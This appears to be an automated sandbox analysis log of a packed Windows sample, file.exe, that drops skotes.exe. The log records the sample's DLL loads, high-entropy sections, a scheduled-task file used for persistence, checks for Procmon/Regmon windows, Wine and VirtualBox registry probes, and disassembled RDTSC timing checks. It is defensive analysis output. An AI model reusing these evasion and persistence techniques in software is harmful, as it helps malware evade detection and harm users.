Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1884672 > 1048576

Source: file.exe

Static PE information: Raw size of iaxkupqh is bigger than: 0x100000 < 0x19a600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.b40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.d60000.0.unpack :EW;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;iaxkupqh:EW;fnhucfqp:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1d18cc should be: 0x1dc00d
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d18cc should be: 0x1dc00d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: iaxkupqh
Source: file.exe	Static PE information: section name: fnhucfqp
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: iaxkupqh
Source: skotes.exe.0.dr	Static PE information: section name: fnhucfqp
Source: skotes.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00D7D91C push ecx; ret		6_2_00D7D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_053E0DDC push 0000005Bh; retn 0008h		6_2_053E0DE3

Source: file.exe	Static PE information: section name: entropy: 7.989396011362113
Source: file.exe	Static PE information: section name: iaxkupqh entropy: 7.954913292155413
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.989396011362113
Source: skotes.exe.0.dr	Static PE information: section name: iaxkupqh entropy: 7.954913292155413

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D237F3 second address: D2384B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007FD2884F85F0h 0x0000000b jmp 00007FD2884F85D7h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD2884F85CAh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23A08 second address: D23A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23BC0 second address: D23BC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23D2C second address: D23D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD288CC4A71h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D23D42 second address: D23D4C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD2884F85CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27CB4 second address: D27CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FD288CC4A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27E46 second address: D27EB0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b je 00007FD2884F85C6h 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push ecx 0x00000015 jmp 00007FD2884F85CEh 0x0000001a pop ecx 0x0000001b nop 0x0000001c mov edi, dword ptr [ebp+122D383Bh] 0x00000022 push 00000000h 0x00000024 mov esi, dword ptr [ebp+122D3933h] 0x0000002a call 00007FD2884F85C9h 0x0000002f jmp 00007FD2884F85D1h 0x00000034 push eax 0x00000035 jbe 00007FD2884F85CEh 0x0000003b mov eax, dword ptr [esp+04h] 0x0000003f push eax 0x00000040 push edx 0x00000041 jc 00007FD2884F85CCh 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27EB0 second address: D27EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27EB4 second address: D27EB9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27EB9 second address: D27EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jc 00007FD288CC4A6Ch 0x00000010 jnp 00007FD288CC4A66h 0x00000016 pushad 0x00000017 jnl 00007FD288CC4A66h 0x0000001d jp 00007FD288CC4A66h 0x00000023 popad 0x00000024 popad 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push ecx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27EE7 second address: D27EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27EEC second address: D27F3F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD288CC4A68h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d movzx ecx, dx 0x00000010 call 00007FD288CC4A77h 0x00000015 mov edx, 1FD70263h 0x0000001a pop edi 0x0000001b push 00000003h 0x0000001d movzx edx, di 0x00000020 push 00000000h 0x00000022 pushad 0x00000023 popad 0x00000024 push 00000003h 0x00000026 mov ecx, 0D0EC504h 0x0000002b push DB004F92h 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FD288CC4A6Eh 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27F3F second address: D27F68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 xor dword ptr [esp], 1B004F92h 0x0000000e mov edx, dword ptr [ebp+122D36F7h] 0x00000014 xor edi, 4D752C05h 0x0000001a lea ebx, dword ptr [ebp+1244CBCDh] 0x00000020 mov cl, B9h 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27F68 second address: D27F6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27F6C second address: D27F72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D28045 second address: D280D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 37E40C1Fh 0x00000010 mov edx, dword ptr [ebp+122D371Fh] 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FD288CC4A68h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 push 00000000h 0x00000034 and esi, dword ptr [ebp+122D3787h] 0x0000003a push 00000003h 0x0000003c push 00000000h 0x0000003e push ebx 0x0000003f call 00007FD288CC4A68h 0x00000044 pop ebx 0x00000045 mov dword ptr [esp+04h], ebx 0x00000049 add dword ptr [esp+04h], 00000014h 0x00000051 inc ebx 0x00000052 push ebx 0x00000053 ret 0x00000054 pop ebx 0x00000055 ret 0x00000056 jno 00007FD288CC4A6Bh 0x0000005c push B9AE7F07h 0x00000061 push eax 0x00000062 push edx 0x00000063 jmp 00007FD288CC4A79h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48B93 second address: D48B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48B97 second address: D48BA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48BA5 second address: D48BAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D48BAB second address: D48BAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D117D0 second address: D117E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D117E5 second address: D117EF instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD288CC4A72h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47043 second address: D4704A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4704A second address: D47090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007FD288CC4A7Ch 0x0000000b jmp 00007FD288CC4A76h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jbe 00007FD288CC4A6Ah 0x00000019 push eax 0x0000001a pop eax 0x0000001b push edi 0x0000001c pop edi 0x0000001d jmp 00007FD288CC4A70h 0x00000022 jbe 00007FD288CC4A6Eh 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4736D second address: D47371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4767B second address: D47685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FD288CC4A66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47948 second address: D4794C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4794C second address: D47952 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47A84 second address: D47A89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D47A89 second address: D47AB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FD288CC4A66h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007FD288CC4A76h 0x00000010 push eax 0x00000011 pop eax 0x00000012 popad 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D3B07A second address: D3B07E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F231 second address: D1F254 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD288CC4A66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD288CC4A71h 0x00000011 js 00007FD288CC4A66h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4FA5E second address: D4FA80 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD2884F85C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD2884F85D6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4FCB4 second address: D4FCBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54E1C second address: D54E3A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD2884F85C6h 0x00000008 jmp 00007FD2884F85D0h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54E3A second address: D54E5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD288CC4A74h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54E5C second address: D54E60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54E60 second address: D54E66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54E66 second address: D54E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FD2884F85CCh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54E7C second address: D54E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54515 second address: D5451D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5451D second address: D54521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54521 second address: D54543 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54B29 second address: D54B2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54B2F second address: D54B34 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
